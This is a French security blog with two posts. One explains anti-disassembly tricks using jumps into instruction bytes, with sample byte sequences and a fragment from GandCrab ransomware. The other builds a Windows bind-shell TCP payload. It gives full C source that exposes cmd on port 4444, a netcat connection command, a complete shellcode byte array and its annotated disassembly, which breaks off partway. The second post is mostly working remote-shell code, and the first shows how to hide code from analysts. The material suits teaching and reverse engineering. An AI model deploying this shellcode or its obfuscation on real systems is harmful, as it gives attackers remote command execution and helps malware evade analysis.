dimanche 21 juillet 2019

Technique Anti-Desassembly




I.    Introduction


La technique consiste à mettre en déroute l'analyse statique du code faite au travers des outils comme IDA qui est sûrement le plus utilisé pour l'analyse statique.
l'analyse statique ce base sur la transcription des Opcodes en assembleur.
Exemples 33 C0 correspond à l'instruction XOR EAX,EAX.

Mais cette analyse statiques des opcodes est fait linéairement, tous simplement à la suite
Prenons un exemple  55 8B EC , on va regarder le premier octet 55h qui correspond à l'instruction PUSH EBP et passer au octet suivant et on va trouver 8Bh ECh qui est l'instruction  MOV EBP,ESP et ainsi de suite.

A contrario un processeur traite les instructions et en fonction de celle-ci, va faire évoluer son pointeur d'instruction qui est contenu dans le registre EIP pour définir le prochaine emplacement ou il va continuer le traitement.

Le registre EIP ( Instruction Pointer ) contient l’offset de la prochaine instruction à exécuter. Il est modifié automatique à chaque exécution et peut être manipulé par des instructions de type jmp, call, ret, ..etc.

C'est là que tous ce joue, le cœur du mécanisme de Anti-désassemblage et permet de mettre en déroute les désassembleur pour fausser l'analyse sur un bloc d'octet dans les grandes lignes.

La méthode principale est de faire un saut quelque soit l'instruction utilisé et d'atterrir dans  l'un des opcodes d'une instruction assembleur . C'est un peut comme le mécanisme ROP
Vous trouverez aussi cela sous le nom de certains hackeurs comme l'éclatement d'instruction.

Modélisation du principe avec un cas d'école basé sur le pivot 0x58. Le terme pivot vient du fait que pour construire leurs codes ils se base sur un octet référentielle que l'on souhaite obtenir pour une instruction non existante ou une séquence d'octet. Mais démarrant par le pivot.

Dans le cas d'exemple, c'est pour crée un nombre magique servant ensuite de filtre pour
crée des hashs . Mais cela sort de notre article ici.

Voici la séquence extraite pour notre exemple "\x39\x68\x58\xEB\xFC\x03\x58\xC3"

en désassemblant se bloc au travers de notre outil maison. Nous obtenons cette vu.


 












On a l'impression d'avoir le code. Mais c'est pas ce que le microprocesseur interprète
Nous avons mis les deux visions sur un schéma conceptuel.




 
Comme vous pouvez le voir, le jmp renvoi en plein milieu d'une instruction. Ici "CMP DWORD PTR[EAX+0x58],EBP et donc il éclate l'instruction.
Le processeur continuant à partir du 0x68, il va interpréter une instruction PUSH IMM
(pushes immediate static value onto the stack)  0x68 0xXX 0xXX 0xXX 0xXX.

En conséquence le processeur va mettre sur la pile 0x03FCEB58. Et continuer son exécution en dépliant la valeur sur la pile pour la positionner dans le registre EAX .

Ce nombre magique peut être utilisé pour cacher d'autre nombre au travers d'instruction ADD , SUB, XOR.
Comme des hashs d'Api

II.    Quelque technique d'éclatement classique


Nous allons présenté plusieurs technique d'éclatement d'instruction classique, vous permettant de bien visualiser la mécanique décrit au dessus avec des noms les décrivant.

Méthode 1 :  Instructions de saut  inconditionnel à un emplacement constant

Elle est baser sur tous instructions de type JUMP

Exemple 1  - "\x33\xD2\xE9\xFF\xFF\xFF\xFF\xC2\x8B\xC2\xC3"

Si on passe cela dans un désassembleur, il verra cela de la manière suivante:
















Il faut bien voir qu l'instruction E9 FF FF FF FF fait que le EIP va être renvoyé dans la séquence d'octet de l'instruction JMP et arriver sur le dernier FF composant l'instruction.

Nous avons mis les deux visions sur un schéma conceptuel pour distingué les deux vues.



Il est intéressant de noté qu'un compilateur ne peut pas crée les séquences suivant naturellement étant des saut casant l'instruction elle même du JUMP

\xE9\xFF\xFF\xFF\xFF
\xE9\xFD\xFF\xFF\xFF
\xE9\xFC\xFF\xFF\xFF
\xE9\xFB\xFF\xFF\xFF

Cette méthode est aussi décrit par des développeurs "Auto-mutilation de l'instruction JUMP"

Méthode 2 :  Mettez deux saut conditionnelles consécutives mais opposées

Cela revient au point d'avant à la différence que l'on teste une condition opposées effectuant le saut vers la même adresses . Voici un petit exemple avec jz suivi d'un jnz.

l'exemple est une fonction qui renvoi un char 'e'

Exemple 2  - "\x74\x04\x75\x02\xE9\x48\xB0\x65\xC3"

Ce que va traduire un désassembleur comme ceci














 
Mais au niveau du microprocesseur sera vu comme la séquence suivant:

"\x74\x04\x75\x02  => \xB0\x65\xC3"

Nous avons mis les deux visions sur le schéma conceptuel





























 
Méthode 3 :  Forcer un saut conditionnelles pour un saut constant

Cela revient également à faire un saut dans une instruction  à la différence que comme on force la condition ont fixe le saut.

Exemple 3 -  "\x8B\xC3\x56\x8B\x34\xB0\x33\xC3\x5E\x74\xFA\x5E\x40\xC3"

Ce que va traduire un désassembleur comme ceci

 


Mais au niveau du microprocesseur sera vu comme la séquence suivant

"\x8B\xC3\x56\x8B\x34\xB0\x33\xC3\x5E\x74\xFA => \xB0\x33\xC3"

Ce qui fait que l'appel de ce bloque va fournir le caractère '3' ou  vu en  hexa 0x33

Nous avons mis les deux visions sur un schéma conceptuel.




 
Méthode 4 :  le débrayage d'un octet ( Cas particulier de la  méthode 1 ) 

Cette Technique est fortement lié à la création d'instruction commencent par l'optcode FF
Elle ce caractérise par l'utilisation du Jump short  (  \xEB\xFF  )  

De la vous pouvez disposer de tous les instructions commencent par l'octet  0xFF

Quelque combinaison possible sans être exhaustive  :

            Jmp eax                       FF E0
            Call eax                       FF,D0
            Inc eax                        FF,C0


Exemple 4 -  "\x33\xC0\xEB\xFF\xC0\x40\xC3\x50"

Ce que va traduire via un désassembleur comme ceci






 
Mais au niveau du microprocesseur sera vu comme la séquence

"\x33\xC0\xEB\xFF  => \xFF\xC0\x40\xC3\x50"

Ce qui fait que l'appel de ce bloque va fournir la valeur 0x02 

Nous avons mis les deux visions sur un schéma conceptuel.





























 
Méthode 5 :  Saute mouton ou passe le suivant  ( Cas particulier de la méthode 1 ) 

Son nom, caractérise bien son action, il est associer ( xEB\x01 )

Exemple 5 : "\xEB\x01\x8B\x68\x6B\x68\x79\x00\x58\xC3"

Cette fonction renvoi un DWORD contenant les données d'une chaîne "khy" en ANSI

Ce que va traduire via un désassembleur comme ceci















 
Mais au niveau du microprocesseur sera vu comme la séquence suivant:

"\xEB\x01 => \x68\x6B\x68\x79\x00\x58\xC3"

Nous avons mis les deux visions sur un schéma conceptuel.



Le terme saute mouton est uniquement le fait qu'il y a que un octet de sauté. Mais au finale est qu'une sous famille de la famille de la Méthode 1.

Méthode 6 :  Auto-mutilation de l'instruction CALL

Cela est beaucoup utilisé pour crée un GetEIP  permettant de connaître l'adresse ou on ce trouve un shellcode

Au travers de  \xE8\xFF\xFF\xFF\xFF\xC0\x58 , il existe autant de variante que de registre possible

\xE8\xFF\xFF\xFF\xFF\xC1\x59
\xE8\xFF\xFF\xFF\xFF\xC2\x5A

Et vous pouvez aussi faire varier le registre de réception du GetEIP

tout est basé sur une instruction qui commence par FF XX YY KK ... ce qui vous laisse un panel de combinaison assez importante.

Voici un exemple permettant une fonction  qui renvoi une chaîne "Hah!"

Exemple 6: "\xE8\xFF\xFF\xFF\xFF\xC2\x58\x83\xC0\x06\xC3\x48\x61\x68\x21\x00\xB7\x86"

Ce que va traduire vu du désassembleur comme ceci

















Mais au niveau du microprocesseur sera vu comme la séquence suivant:

"\xE8\xFF\xFF\xFF\xFF  => \xFF\xC2\x58\x83\xC0\x06\xC3"

Ce qui fait que l'appel de ce bloque va fournir dans EAX l'adresse situé à prêt  l'instruction RET à la ligne 0x0000000B qui contient un texte "Hah!"

Nous avons mis les deux visions sur un schéma conceptuel.



 

III.    Test des exemples  


Nous allons crée un petit programme reprenant ses divers exemples et pour tester les résultats
Vous pouvez voir sur la capture suivant l'appel de l'exemple 6 sur notre testeur.


























Ou nous avons bien après appel du bloc un pointeur sur la chaîne "Hah!". Si vous souhaiter tester également ses petit exemple. Il vous suffit d'écrire un côte proche de celui en dessous correspondant au bouton "6" dans un projet MFC Dialog


void CExAsmAntiDisassemblyDlg::OnBnClickedBtSample6()
{
                char Table[]="\xE8\xFF\xFF\xFF\xFF\xC2\x58\x83\xC0\x06\xC3\x48\x61\x68\x21\x00\xB7\x86";

                char* (*FnRun)() = (char*(*)())(&Table[0]);
                char* pText = FnRun();

                SetDlgItemText(IDC_ED_RES,pText);
}

IV.    Exemple dans le code d'un malware


Nous Prendrons notre exemple de Gandcrab 4.3 qui est un ransomware 

Nous mettons le bloc extrait qui nous intéresse d'un des échantillons et son format shellcode

0000   55 8B EC E8 00 00 00 00 3E 83 04 24 11 75 05 74    U.......>..$.u.t
0010   03 E9 28 14 58 FF E0 00 E9 E8 8C FF FF FF 6A 00    ..(.X.........j.
0020   FF 15 50 00 41 00 5D C3                                       ..P.A.].

\x55\x8B\xEC\xE8\x00\x00\x00\x00\x3E\x83\x04\x24\x11\x75\x05\x74
\x03\xE9\x28\x14\x58\xFF\xE0\x00\xE9\xE8\x8C\xFF\xFF\xFF\x6A\x00
\xFF\x15\x50\x00\x41\x00\x5D\xC3

Nous avons passé les octets dans notre outils





















  
Vous pouvez voir que la séquence d'instruction JNZ suivi de JZ  à l'adresse 0x0000000D
correspond à la méthode 2 




















 

Donc les octets de l'adresse 0x00000011 à 0x00000013 ne seront jamais appeler. On peut les remplacer par Nop  ( 0x90 ) , cela nous donne maintenant 

























 
Est pour finir , si on regarde bien la partie ce trouvant à l'adresse 0x00000003. Cette séquence est tres standard pour récupérer le EIP ( cela permet de savoir ou on ce trouve dans le shellcode) en effectuant E8 00 00 00 00 , on obtient sur la pile l'adresse suivant de cette instruction donc l'addresse ESP point sur 0x00000008. Hors comme par hasard juste à prés l'instruction suivant ADD DWORD PTR DS:[ESP] ,0x00000011 va ajouter à notre valeur pointé 0x11. Ce qui fait la nouvelle valeur pointé par ESP est 0x00000019.

Comme nous avons neutraliser les octets non appelé par des NOP , la prochaine instruction sera un POP EAX ( oh cela est bien ) .car cela vient  juste avant le JMP EAX ( Asbolue )
On tombe sur la méthode 1 ( saut inconditionnel ) 

Donc comme le Jmp fixé ici est absolue on le microprocesseur va directement fixer sa prochaine séquence d'octet à traiter à l'adresse 0x00000019. Et donc il devient assez claire que les deux octet "00 E9" ne seront jamais appelé. 

En conséquence faut voir cela comme un jauge avec comme point terminal à atteindre est fixer à l'emplacement pointé par ESP et la mécanique JNZ/JZ comme le curseur pointant le saut vers la borne terminale entre deux ont met ce que l'on veut comme octet pour perturber l'analyste ou le désassembleur.

V.    Conclusions


Dans cette article, vous avez pu apprendre davantage sur les stratégies anti-disassembly mis en place en Assembleur ou dans des shellcodes pour dupé l'analyse. Vous permettant de comprendre qu'un code peut en cacher un autre et qu'il ne faut pas toujours se reposer sur les outils pour l'analyse des éléments.


mardi 9 juillet 2019

Shellcode "Shell Bind TCP"


I.    Introduction


Nous allons voir dans cette article comment crée un  shellcode "Shell Bind TCP Windows X32".

le principe est assez simple en soit, le shellcode au lieu d'être le client d'un serveur comme cela est le cas d'un "Reverse Shell TCP". c'est lui le serveur en attente d'une connexion d'un client. des qu'un client ce présent sur le port en écoute le shellcode  va  lance un 'cmd' avec le flux redirigé sur le socket ouverte du client connecté attendant les flux du client et transmet les flux de sortie du cmd.
















- Le Pseudo code d'un Shell Bind TCP windows (serveur)

Il se décompose en 7 étapes

Etape 1   : Initialiser la bibliothèque des sockets avec en appelant WSAStartup(..)  
Etape 2   : Créer une socket d'écoute
Etape 3/4: Lié la socket au port souhaité
Etape 5   : Lancer l'attente des connexions sur le port et obtenir la socket client connecté
Etape 6   : Fermer la socket d'écoute. Car on a une connexion d'un client  
Epate 7   : Démarrer le programme "cmd" en mode invisible en redirigeant les flux sur la
              socket 

II.    Ecriture en C de notre shellcode


Nous avons écrit le code équivalent en C dans un but pédagogique et vous permettre de faire un parallèle avec le Shellcode vu par la suite qui effectuera les mêmes actions.

Dans un programme en C , il faut avant de pouvoir utiliser la librairie "WinSock2.h" et donc des sockets dans notre code, Il faut initialiser son utilisation dans notre programme. Cela se fait en appelant la fonction "WSAStartup" en premier.

Pour la création du processus "cmd.exe", nous utiliserons l'Api "CreateProcess"
pour pouvoir configurer le mode d'affichage, nous devons préciser activer le flag
STARTF_USESHOWWINDOW.

idém pour pouvoir effectué le routage des flux nous devons activer le flag STARTF_USESTDHANDLES et en configuret les 3 flux (hStrOutput,hStrInput,..) de STARTUPINFO vers la socket.

Voici notre code exemple crée dans un projet Visual studio 2008
#include "stdafx.h"
#include "WinShellBindTcpOfC.h"

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow)
{
    // Etape 1 : Initialiser la bibliothèque des sockets en appelant WSAStartup(..) 
    WSADATA WSAData;
    WSAStartup(0x0202, &WSAData);  // Winsock2 est utilisé

    // Etape 2 :Create une SOCKET d'écoute
    SOCKET MySrvSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    SOCKADDR_IN stSockAdr;
    memset(&stSockAdr, 0x00, sizeof(stSockAdr));        // Initialise structure à zero
    stSockAdr.sin_addr.s_addr = INADDR_ANY;
    stSockAdr.sin_family = AF_INET;
    stSockAdr.sin_port = htons(4444);

    // Etape 3 : lier la socket sur le port
    DWORD dwBindReturn = bind(MySrvSocket, (SOCKADDR *)&stSockAdr, sizeof(stSockAdr));

    // Etape 4 : configurer la socket l'écoute sur le port
    DWORD dwListenReturn = listen(MySrvSocket, 1);  //Maximum outstanding connection requests is 1

    // Etape 5 : Lancer l'attente des connexions 
    struct sockaddr_in stSockAdrNew;
    memset(&stSockAdrNew, 0x00, sizeof(stSockAdrNew));  // initialise structure à zero
    int iSockAdr_size = sizeof(stSockAdrNew);

    SOCKET  newSocketConnecting = accept(MySrvSocket, (struct sockaddr*)&stSockAdrNew, &iSockAdr_size);

    // Etape 6 : Fermer la socket d'écoute comme on a reçu une socket un client connecter
    closesocket(MySrvSocket);

    // Epate 7 : Démarrer "cmd" en redirigeant les flux sur la socket Connecting
    STARTUPINFO si;
    ::ZeroMemory(&si, sizeof(si));
    PROCESS_INFORMATION pi;
    ::ZeroMemory(&pi, sizeof(pi));

    si.cb                                   = sizeof(si);
    si.dwFlags                         = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow             = SW_SHOWNORMAL;
    si.hStdInput    = (HANDLE) newSocketConnecting;
    si.hStdError    = (HANDLE) newSocketConnecting;
    si.hStdOutput   = (HANDLE) newSocketConnecting;

    char szCmdline[4]="cmd";
    BOOL bRes = CreateProcess(0, szCmdline, 0, 0, TRUE, CREATE_NO_WINDOW | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi);

    DWORD dwResWait = WaitForSingleObject(pi.hProcess, INFINITE);

    return 1;
}
 
Mais pour pouvoir tester celui-ci, il nous faut un client ou un programme ce connectant vers le port définit
C'est ce que l'on va voir dans la partie suivant disposer d'un client pour le teste.


III.    La partie Client "Shell Bind TCP"


Nous utilisons un programme maison cela permet de faire des copier/coller rapide dans le display


 























Mais dans le cas d'école, vous avez pas besoin de cela un simple "netcat" suffira largement , vous pouvez le télécharger
à l'url suivant: "https://eternallybored.org/misc/netcat/"

Vous devez simplement le lancer en mode client via la commande suivant dans un cmd

nc.exe -nv <IP Address> <Port>
 

 
Comme aucune connexion n'est effectué sur celui-ci, au bout de quel seconde un message indique qu'il y a pas de réponse.

Maintenant si nous lançons notre programme C au dessus. Vous voyer la connexion et le sortie apparaître 

 
Et maintenant vous pouvez effectué l'interaction avec la cible, par exemple taper dir <ENTRER> qui va lister le répertoire de travail de la cible donc notre répertoire ou est le programme WinShellBindTCPOfC.



Bon bien sur, si vous devez refaire le test, il faudra fermer le cmd et relancer la même commande. Maintenant passons au chose sérieuse,et utilisons un shellcode pour faire notre "Shell Bind TCP"

IV.    Le Shellcode  d'exemple


Pour cela nous n'avons pas chercher très loin. Nous utilisons un outil de notre tools
"ConstructShellCodePEBShellBindTCP.exe" qui inclus la génération à la volé sur un model classique de metasploit et d'autre exemple. l'intérêt est qu'il générer le shellcode avec le Port souhaité sans avoir a réfléchir.

Pour notre démonstration de base nous avons fixer le port 4444. Car c'est souvent cette valeur qui est utilisé pour initier au shell Bind TCP dans différents site.

Dont voici le Shellcode remis dans un tableau C

unsigned char szShellCode_ShellBindTCP[] =
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C"
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52"
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20"
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC"
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75"
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3"
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF"
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77"
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2"
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00"
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57"
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57"
"\x57\x57\x31\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01"
"\x01\x8D\x44\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E"
"\x56\x56\x53\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46"
"\xFF\x30\x68\x08\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6"
"\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47"
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5";


Maintenant c'est pas trop lisible en soit, donc nous allons désassembler cela via notre outil  favoris.

 
Cela nous donne le code assembleur X32 et les opcodes correspondant.

00000000:   FC                                      CLD         // Clear Direction Flag
00000001:   E8 82 00 00 00                   CALL 00000082h (+82h ->:00000088)
00000006:   60                                       PUSHAD
00000007:   89 E5                                  MOV EBP,ESP
00000009:   31 C0                                 XOR EAX,EAX
0000000B:   64 8B 50 30                       MOV EDX,DWORD PTR FS:[EAX+0x30]
0000000F:   8B 52 0C                            MOV EDX,DWORD PTR[EDX+0x0C]
00000012:   8B 52 14                            MOV EDX,DWORD PTR[EDX+0x14]
00000015:   8B 72 28                            MOV ESI,DWORD PTR[EDX+0x28]
00000018:   0F B7 4A 26                       MOVZX ECX,WORD PTR [EDX+0x26]
0000001C:   31 FF                                 XOR EDI,EDI
0000001E:   AC                                      LODS BYTE PTR DS:[ESI]
0000001F:   3C 61                                 CMP AL,0x61 ('a')
00000021:   7C 02                                 JL 02h (rel8)(+02h ->:00000025)
00000023:   2C 20                                 SUB AL,20h
00000025:   C1 CF 0D                            ROR EDI,0Dh (13)
00000028:   01 C7                                 ADD EDI,EAX
0000002A:   E2 F2                                 LOOP F2h (-FFFFFFF2h=>:0000001E) Dec ECX or CX jump if !=0
0000002C:   52                                      PUSH EDX
0000002D:   57                                      PUSH EDI
0000002E:   8B 52 10                            MOV EDX,DWORD PTR[EDX+0x10]
00000031:   8B 4A 3C                           MOV ECX,[EDX+3Ch]
00000034:   8B 4C 11 78                       MOV ECX,DWORD PTR [ECX+EDX*1+78h]
00000038:   E3 48                                  JECXZ 48h (-FFFFFFB8h ->:00000082)
0000003A:   01 D1                                 ADD ECX,EDX
0000003C:   51                                      PUSH ECX
0000003D:   8B 59 20                            MOV EBX,DWORD PTR [ECX+20h]
00000040:   01 D3                                 ADD EBX,EDX
00000042:   8B 49 18                            MOV ECX,DWORD PTR[ECX+18h]
00000045:   E3 3A                                 JECXZ 3Ah (-FFFFFFC6h ->:00000081)
00000047:   49                                       DEC ECX
00000048:   8B 34 8B                            MOV ESI,DWORD PTR[EBX+ECX*4]
0000004B:   01 D6                                 ADD ESI,EDX
0000004D:   31 FF                                 XOR EDI,EDI
0000004F:   AC                                      LODS BYTE PTR DS:[ESI]
00000050:   C1 CF 0D                            ROR EDI,0Dh (13)
00000053:   01 C7                                 ADD EDI,EAX
00000055:   38 E0                                  CMP AL,AH
00000057:   75 F6                                  JNZ F6h (rel8)(-0Ah ->:0000004F)
00000059:   03 7D F8                            ADD EDI,DWORD PTR [EBP-08h]
0000005C:   3B 7D 24                            CMP EDI,DWORD PTR [EBP+24h]
0000005F:   75 E4                                  JNZ E4h (rel8)(-1Ch ->:00000045)
00000061:   58                                       POP EAX
00000062:   8B 58 24                            MOV EBX,DWORD PTR [EAX+24h]
00000065:   01 D3                                 ADD EBX,EDX
00000067:   66 8B 0C 4B                       MOV CX,WORD PTR[EBX+ECX*2]
0000006B:   8B 58 1C                            MOV EBX,DWORD PTR [EAX+1Ch]
0000006E:   01 D3                                 ADD EBX,EDX
00000070:   8B 04 8B                            MOV EAX,DWORD PTR[EBX+ECX*4]
00000073:   01 D0                                 ADD EAX,EDX
00000075:   89 44 24 24                        MOV DWORD PTR[ESP+24h],EAX
00000079:   5B                                      POP EBX
0000007A:   5B                                      POP EBX
0000007B:   61                                      POPAD
0000007C:   59                                      POP ECX
0000007D:   5A                                      POP EDX
0000007E:   51                                       PUSH ECX
0000007F:   FF E0                                  JMP EAX
00000081:   5F                                       POP EDI
00000082:   5F                                       POP EDI
00000083:   5A                                      POP EDX
00000084:   8B 12                                 MOV EDX,DWORD PTR [EDX]
00000086:   EB 8D                                 JMP 8Dh (-73h ->:00000015)
00000088:   5D                                      POP EBP
00000089:   68 33 32 00 00                   PUSH 00003233h "32" dw:12851 / {51 50 0 0} / < w:0 | w:13106 >
0000008E:   68 77 73 32 5F                   PUSH 5F327377h "ws2_" dw:1597141879 / {119 115 50 95} / < w:12895 | w:30579 >
00000093:   54                                       PUSH ESP
00000094:   68 4C 77 26 07                  PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099:   FF D5                                 CALL EBP
0000009B:   B8 90 01 00 00                  MOV EAX, 00000190h ""
000000A0:   29 C4                                 SUB ESP,EAX
000000A2:   54                                      PUSH ESP
000000A3:   50                                      PUSH EAX
000000A4:   68 29 80 6B 00                  PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9:   FF D5                                 CALL EBP
000000AB:   6A 08                                PUSH 08h (8) ' '
000000AD:   59                                      POP ECX
000000AE:   50                                      PUSH EAX
000000AF:   E2 FD                                 LOOP FDh (-FFFFFFFDh=>:000000AE) Dec ECX or CX jump if !=0
000000B1:   40                                      INC EAX
000000B2:   50                                      PUSH EAX
000000B3:   40                                      INC EAX
000000B4:   50                                      PUSH EAX
000000B5:   68 EA 0F DF E0                 PUSH E0DF0FEAh "êßà" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000BA:   FF D5                                CALL EBP
000000BC:   97                                      XCHG EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BD:   68 02 00 11 5C                  PUSH 5C110002h "[1]" dw:1544617986 / {2 0 17 92} / < w:4444 | w:512 >
000000C2:   89 E6                                 MOV ESI,ESP
000000C4:   6A 10                                 PUSH 10h (16) ''
000000C6:   56                                      PUSH ESI
000000C7:   57                                      PUSH EDI
000000C8:   68 C2 DB 37 67                 PUSH 6737DBC2h "ÂÛ7g" (6737DBC2=Hash[Ror13-Hybrid](ws2_32.dll!bind))
000000CD:   FF D5                                 CALL EBP
000000CF:   57                                      PUSH EDI
000000D0:   68 B7 E9 38 FF                  PUSH FF38E9B7h "·é8ÿ" (FF38E9B7=Hash[ROR13-Hybrid](ws2_32.dll!listen))
000000D5:   FF D5                                 CALL EBP
000000D7:   57                                      PUSH EDI
000000D8:   68 74 EC 3B E1                  PUSH E13BEC74h "tì;á" (E13BEC74=Hash[ROR13-Hybrid](ws2_32.dll!accept))
000000DD:   FF D5                                 CALL EBP
000000DF:   57                                      PUSH EDI
000000E0:   97                                       XCHG EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000E1:   68 75 6E 4D 61                  PUSH 614D6E75h "unMa" (614D6E75=Hash[ROR13-Hybrid](ws2_32.dll!closesocket))
000000E6:   FF D5                                 CALL EBP
000000E8:   68 63 6D 64 00                  PUSH 00646D63h "cmd" dw:6581603 / {99 109 100 0} / < w:25600 | w:25453 >
000000ED:   89 E3                                 MOV EBX,ESP
000000EF:   57                                       PUSH EDI
000000F0:   57                                       PUSH EDI
000000F1:   57                                       PUSH EDI
000000F2:   31 F6                                  XOR ESI,ESI
000000F4:   6A 12                                 PUSH 12h (18) ' '
000000F6:   59                                       POP ECX
000000F7:   56                                       PUSH ESI
000000F8:   E2 FD                                 LOOP FDh (-FFFFFFFDh=>:000000F7) Dec ECX or CX jump if !=0
000000FA:   66 C7 44 24 3C 01 01       MOV WORD PTR [ESP+3Ch], 0101h 
00000101:   8D 44 24 10                       LEA EAX,[ESP+0x10]
00000105:   C6 00 44                            MOV BYTE PTR [EAX],44h
00000108:   54                                       PUSH ESP
00000109:   50                                       PUSH EAX
0000010A:   56                                      PUSH ESI
0000010B:   56                                      PUSH ESI
0000010C:   56                                      PUSH ESI
0000010D:   46                                      INC ESI
0000010E:   56                                       PUSH ESI
0000010F:   4E                                       DEC ESI
00000110:   56                                       PUSH ESI
00000111:   56                                       PUSH ESI
00000112:   53                                       PUSH EBX
00000113:   56                                       PUSH ESI
00000114:   68 79 CC 3F 86                  PUSH 863FCC79h "yÌ?†" (863FCC79=Hash[Ror13-Hybrid](kernel32.dll!CreateProcessA))
00000119:   FF D5                                 CALL EBP
0000011B:   89 E0                                 MOV EAX,ESP
0000011D:   4E                                      DEC ESI
0000011E:   56                                       PUSH ESI
0000011F:   46                                       INC ESI
00000120:   FF 30                                  PUSH DWORD PTR[EAX]
00000122:   68 08 87 1D 60                  PUSH 601D8708h " ‡`" (601D8708=Hash[ROR13-Hybrid](ws2_32.dll!WaitForSingleObject))
00000127:   FF D5                                 CALL EBP
00000129:   BB F0 B5 A2 56                 MOV EBX,56A2B5F0h "ðµ¢V" (56A2B5F0=Hash[ROR13-Hybrid](kernel32.dll!ExitProcess))
0000012E:   68 A6 95 BD 9D                 PUSH 9DBD95A6h "¦•½" (EC0E4E8E=Hash[ROR13-Hybrid](kernel32.dll!GetVersion))
00000133:   FF D5                                 CALL EBP
00000135:   3C 06                                 CMP AL,0x06 (' ')
00000137:   7C 0A                                 JL 0Ah (rel8)(+0Ah ->:00000143)
00000139:   80 FB E0                            CMP BL,0xE0
0000013C:   75 05                                 JNZ 05h (rel8)(+05h ->:00000143)
0000013E:   BB 47 13 72 6F                  MOV EBX,6F721347h "G ro" (6F721347=Hash[ROR13-Hybrid](ntdll.dll!RtlExitUserThread))
00000143:   6A 00                                 PUSH 00h (0) '
00000145:   53                                       PUSH EBX
00000146:   FF D5                                 CALL EBP

C'est bien gentil d'avoir tous ceci , mais c'est pas encore assez claire. Pour visualiser un peu plus facilement la structure de ce shellcode. Nous utilisons l'analyse "Diagram" permettant découper les shellcodes avec une collection de référence de fonction ou bloc standard
Mais si vous pouvez déjà voir l'utilisation de hash ROR13-Hybrid.

Voici le listing obtenu en mode "Diagram" du shellcode obtenu avec l'outil.

00000000:   FC                                      CLD         // Clear Direction Flag
00000001:   E8 82 00 00 00                   CALL 00000082h (+82h ->:00000088)
00000006 -> 00000087:  =>CallFnByHash13Hybride_V3(Dll!Name)
00000088:   5D                                      POP EBP
00000089:   68 33 32 00 00                   PUSH 00003233h "32" dw:12851 / {51 50 0 0} / < w:0 | w:13106 >
0000008E:   68 77 73 32 5F                   PUSH 5F327377h "ws2_" dw:1597141879 / {119 115 50 95} / < w:12895 | w:30579 >
00000093:   54                                       PUSH ESP
00000094:   68 4C 77 26 07                  PUSH 0726774Ch "Lw&" (0726774C=Hash[Ror13-Hybrid](kernel32.dll!LoadLibraryA))
00000099:   FF D5                                 CALL EBP
0000009B:   B8 90 01 00 00                  MOV EAX, 00000190h ""
000000A0:   29 C4                                 SUB ESP,EAX
000000A2:   54                                      PUSH ESP
000000A3:   50                                      PUSH EAX
000000A4:   68 29 80 6B 00                  PUSH 006B8029h ")€k" (006B8029=Hash[ROR13-Hybrid](ws2_32.dll!WSAStartup))
000000A9:   FF D5                                 CALL EBP
000000AB:   6A 08                                PUSH 08h (8) ' '
000000AD:   59                                      POP ECX
000000AE:   50                                      PUSH EAX
000000AF:   E2 FD                                 LOOP FDh (-FFFFFFFDh=>:000000AE) Dec ECX or CX jump if !=0
000000B1:   40                                      INC EAX
000000B2:   50                                      PUSH EAX
000000B3:   40                                      INC EAX
000000B4:   50                                      PUSH EAX
000000B5:   68 EA 0F DF E0                 PUSH E0DF0FEAh "êßà" (E0DF0FEA=Hash[Ror13-Hybrid](ws2_32.dll!WSASocketA))
000000BA:   FF D5                                CALL EBP
000000BC:   97                                      XCHG EAX,EDI (Exchanges (swaps) the value of 2 registers)
000000BD:   68 02 00 11 5C                  PUSH 5C110002h "[1]" dw:1544617986 / {2 0 17 92} / < w:4444 | w:512 >
000000C2:   89 E6                                 MOV ESI,ESP
